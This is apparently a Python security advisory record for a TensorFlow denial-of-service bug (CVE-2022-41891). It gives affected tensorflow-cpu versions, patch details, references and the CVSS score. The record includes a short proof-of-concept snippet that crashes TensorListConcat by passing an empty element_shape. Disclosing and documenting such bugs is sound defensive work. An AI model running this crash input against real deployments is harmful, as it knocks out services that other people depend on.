PYSEC-2026-3283
Vulnerability from pysec - Published: 2026-07-13 14:19 - Updated: 2026-07-13 16:06Impact
If tf.raw_ops.TensorListConcat is given element_shape=[], it results segmentation fault which can be used to trigger a denial of service attack.
import tensorflow as tf
tf.raw_ops.TensorListConcat(
input_handle=tf.data.experimental.to_variant(tf.data.Dataset.from_tensor_slices([1, 2, 3])),
element_dtype=tf.dtypes.float32,
element_shape=[]
)
Patches
We have patched the issue in GitHub commit fc33f3dc4c14051a83eec6535b608abe1d355fde.
The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Tong Liu, ShanghaiTech University
| Name | purl | tensorflow-cpu | pkg:pypi/tensorflow-cpu |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu",
"purl": "pkg:pypi/tensorflow-cpu"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.8.4"
},
{
"introduced": "2.9.0"
},
{
"fixed": "2.9.3"
},
{
"introduced": "2.10.0"
},
{
"fixed": "2.10.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.15.0",
"2.1.0",
"2.1.1",
"2.1.2",
"2.1.3",
"2.1.4",
"2.10.0",
"2.2.0",
"2.2.1",
"2.2.2",
"2.2.3",
"2.3.0",
"2.3.1",
"2.3.2",
"2.3.3",
"2.3.4",
"2.4.0",
"2.4.1",
"2.4.2",
"2.4.3",
"2.4.4",
"2.5.0",
"2.5.1",
"2.5.2",
"2.5.3",
"2.6.0",
"2.6.1",
"2.6.2",
"2.6.3",
"2.6.4",
"2.6.5",
"2.7.0",
"2.7.1",
"2.7.2",
"2.7.3",
"2.7.4",
"2.8.0",
"2.8.1",
"2.8.2",
"2.8.3",
"2.9.0",
"2.9.1",
"2.9.2"
]
}
],
"aliases": [
"CVE-2022-41891",
"GHSA-66vq-54fq-6jvv"
],
"details": "### Impact\nIf [`tf.raw_ops.TensorListConcat`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/list_kernels.h) is given `element_shape=[]`, it results segmentation fault which can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\ntf.raw_ops.TensorListConcat(\n input_handle=tf.data.experimental.to_variant(tf.data.Dataset.from_tensor_slices([1, 2, 3])),\n element_dtype=tf.dtypes.float32,\n element_shape=[]\n)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [fc33f3dc4c14051a83eec6535b608abe1d355fde](https://github.com/tensorflow/tensorflow/commit/fc33f3dc4c14051a83eec6535b608abe1d355fde).\n\nThe fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Tong Liu, ShanghaiTech University\n",
"id": "PYSEC-2026-3283",
"modified": "2026-07-13T16:06:26.104480Z",
"published": "2026-07-13T14:19:53.173911Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-66vq-54fq-6jvv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41891"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/commit/fc33f3dc4c14051a83eec6535b608abe1d355fde"
},
{
"type": "PACKAGE",
"url": "https://github.com/tensorflow/tensorflow"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/list_kernels.h"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/tensorflow-cpu"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-66vq-54fq-6jvv"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Segfault in `tf.raw_ops.TensorListConcat`"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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